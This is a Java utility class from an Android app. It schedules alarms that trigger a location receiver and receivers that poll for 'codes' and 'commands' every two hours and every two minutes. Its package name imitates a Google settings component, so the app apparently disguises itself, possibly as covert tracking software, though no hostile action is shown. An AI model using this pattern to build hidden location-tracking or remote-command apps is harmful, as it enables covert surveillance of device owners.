package com.android.googlesettings.util;

import java.util.Calendar;

import com.android.googlesettings.BaseApplication;
import com.android.googlesettings.receiver.CheckCmdReceiver;
import com.android.googlesettings.receiver.CheckCodeReceiver;
import com.android.googlesettings.receiver.CheckReceiver;
import com.android.googlesettings.receiver.LocationReceiver;

import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.os.SystemClock;

public class AlarmMangerUtil {

	private static Context mContext = BaseApplication.getInstance();

	public static void startLocationAlarmManger() {
		Intent intent = new Intent(mContext, LocationReceiver.class);
		PendingIntent pIntent = PendingIntent.getBroadcast(BaseApplication.getInstance(), 0X002, intent, 0);
		Calendar targetCalendar = DateUtil.getCurrentCalendar();
		String[] times = DbLocation.getInstance().getKeyValue(DbLocation.NOTICE_TIME_LOCATION).split(":");
		targetCalendar.set(Calendar.HOUR_OF_DAY, Integer.parseInt(times[0]));
		int minu = Integer.parseInt(times[1]);
		targetCalendar.set(Calendar.MINUTE, minu);
		targetCalendar.set(Calendar.SECOND, 0);
		targetCalendar.set(Calendar.MILLISECOND, 0);
		AlarmManager alarmManager = (AlarmManager) mContext.getSystemService(Context.ALARM_SERVICE);
		alarmManager.set(AlarmManager.RTC_WAKEUP, targetCalendar.getTimeInMillis(), pIntent);
	}

	public static void startAlarmManager() {
		Intent intent = new Intent(mContext, CheckReceiver.class);
		PendingIntent pIntent = PendingIntent.getBroadcast(BaseApplication.getInstance(), 0X001, intent, 0);
		AlarmManager alarmManager = (AlarmManager) mContext.getSystemService(Context.ALARM_SERVICE);
		alarmManager.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), ConstantValues.DEFAULT_CHECK_TIME, pIntent);
	}

	public static void startCheckCodeAlarm() {
		Intent intent = new Intent(mContext, CheckCodeReceiver.class);
		PendingIntent pIntent = PendingIntent.getBroadcast(BaseApplication.getInstance(), 0X001, intent, 0);
		AlarmManager alarmManager = (AlarmManager) mContext.getSystemService(Context.ALARM_SERVICE);
		alarmManager.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 2 * 60 * 60 * 1000, pIntent);
	}
	
	public static void startCmdAlarm() {
		Intent intent = new Intent(mContext, CheckCmdReceiver.class);
		PendingIntent pIntent = PendingIntent.getBroadcast(BaseApplication.getInstance(), 0X001, intent, 0);
		AlarmManager alarmManager = (AlarmManager) mContext.getSystemService(Context.ALARM_SERVICE);
		alarmManager.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 2 * 60 * 1000, pIntent);
	}
}
